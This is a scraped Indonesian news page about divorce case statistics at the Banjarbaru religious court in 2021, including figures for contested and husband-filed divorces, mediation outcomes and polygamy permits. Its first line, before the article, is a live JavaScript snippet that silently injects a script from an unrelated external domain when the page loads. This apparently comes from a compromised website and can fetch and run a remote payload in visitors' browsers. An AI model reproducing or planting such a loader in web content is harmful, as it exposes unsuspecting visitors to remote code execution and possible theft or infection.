(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pengadilan Agama (PA) Banjarbaru memutus 603 kasus perceraian yang diajukan pasangan suami istri (Pasutri) sepanjang tahun 2021 lalu. Sebanyak 440 kasus diantaranya adalah kasus cerai gugat yang diajukan para istri.
Ketua Pengadilan Agama Banjarbaru, Muhammad Najmi Fajri mengatakan, mayoritas pasutri di Banjarbaru mengajukan perceraian disebabkan perselisihan dan pertengkaran terus menerus.
“Rata-rata faktornya meninggalkan salah satu pihak, yang disebabkan seperti pertengkaran terus-menerus,” jelasnya kepada Kanalkalimantan.com. Rabu (9/2/2022) siang.
Jumlah kasus perceraian yang diajukan suami terbilang rendah, tercatat ada 163 Kasus atau 28,7 persen untuk cerai talak dari total kasus yang ditangani pihak pengadilan agama.
Baca juga : Fasilitas di Kolam Renang Idaman Segera Dibenahi, Akan Ditambah Wahana Anak
Sementara 71,2 persen atau 440 kasus merupakan kasus cerai gugat yang diajukan pihak istri. Jadi total kasus cerai talak dan cerai gugat yang diputus PA Banjarbaru sepanjang 2021 lalu, ada 603 perkara perceraian dalam rumah tangga.
Untuk rata-rata pasutri yang mengajukan perceraian berada pada usia rentan yakni usia pasangan sekitar 20-35 tahun.
“Berkaitan dengan cerai gugat atau cerai talak tidak semuanya dikabulkan,” ungkapnya.
Cerai talak ada 135 kasus yang dikabulkan. Sementara untuk cerai gugat ada 391 yang dikabulkan dari 440 kasus sepanjang tahun 2021 lalu.
“Sisanya dicabut,” tambahnya.
Baca juga : Wali Kota Aditya ‘Kembali’ ke Sekolah, Resmikan Panggung Serbaguna
Masih menurut Ketua PA Banjarbaru, dicabutnya perkara disebabkan adanya keberhasilan mediasi antara pasutri bersama pihak pengadilan agama. Ada juga yang ditolak atau dinyatakan tidak diterima.
“Dalam proses perceraian pun, kami berupaya merukunkan kembali,” jelasnya.
Kabulkan Tiga Izin Poligami
Sepanjang 2021, Pengadilan Agama Banjarbaru menerima tiga permohonan poligami oleh pihak suami.
Najmi mengatakan, melalu proses pengadilan agama, tiga permohonan tersebut sudah diputuskan karena memenuhi persyaratan.
Diperkirakan peningkatan angka kasus perceraian ada 10 persen dibanding tahun 2020 lalu, yang mencatat ada 114 kasus cerai talak dan 435 kasus cerai gugat dengan total 549 kasus perceraian.
Baca juga : Soal Wadas Gusdurian Minta Polisi Bebaskan Warga, Tunda Pengukuran Lahan
Sementara untuk tahun 2022 per Januari Pengadilan Agama Banjarbaru sudah menerima 19 kasus cerai talak, ditambah 2 kasus bulan lalu, 6 sudah dikabulkan, serta 1 kasus tidak diterima dengan sisanya dilanjutkan ke bulan berikutnya.
Untuk cerai gugat ada 95 kasus cerai gugat ditambah 4 kasus bulan lalu. Ada 1 kasus dicabut, 45 kasus dikabulkan dan 1 kasus tidak diterima, sisanya dilanjutkan ke bulan berikutnya. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM - Maraknya ketidakpastian ekonomi global, masyarakat dituntut untuk jeli mencari alternatif investasi yang mampu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
This website uses cookies.